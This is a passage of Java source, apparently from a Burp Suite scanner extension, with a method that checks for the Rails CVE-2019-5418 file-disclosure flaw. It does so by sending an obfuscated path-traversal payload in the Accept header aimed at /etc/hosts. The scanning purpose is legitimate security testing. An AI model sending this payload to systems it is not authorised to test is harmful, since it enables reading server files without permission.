(IHttpRequestResponse basePair)
| 91 | } |
| 92 | |
| 93 | private List<IScanIssue> doRailsScan(IHttpRequestResponse basePair) { |
| 94 | if (OldUtilities.safeBytesToString(basePair.getResponse()).contains("127.0.0.1")) { |
| 95 | return Collections.emptyList(); |
| 96 | } |
| 97 | |
| 98 | IHttpRequestResponse attack = fetchModifiedRequest(basePair, "Accept", "../../../../../../../../../../../e*c/h*s*s{{"); |
| 99 | String response = OldUtilities.safeBytesToString(attack.getResponse()); |
| 100 | if (response.contains("127.0.0.1")) { |
| 101 | try { |
| 102 | String collabLocation = Utilities.callbacks.createBurpCollaboratorClientContext().getCollaboratorServerLocation(); |
| 103 | if (response.contains(collabLocation)) { |
| 104 | return Collections.emptyList(); |
| 105 | } |
| 106 | } catch (Exception e) { |
| 107 | // Ignore exceptions |
| 108 | } |
| 109 | return Collections.singletonList(new CustomScanIssue( |
| 110 | basePair.getHttpService(), Utilities.helpers.analyzeRequest(basePair).getUrl(), |
| 111 | new IHttpRequestResponse[]{attack}, |
| 112 | "Rails file disclosure", |
| 113 | "The application appears to be vulnerable to CVE-2019-5418, enabling arbitrary file disclosure.", |
| 114 | "Firm", CustomScanIssue.severity.High |
| 115 | )); |
| 116 | } |
| 117 | return Collections.emptyList(); |
| 118 | } |
| 119 | |
| 120 | private List<IScanIssue> doStrutsScan(IHttpRequestResponse basePair) { |
| 121 | Random random = new Random(); |
nothing calls this directly
no test coverage detected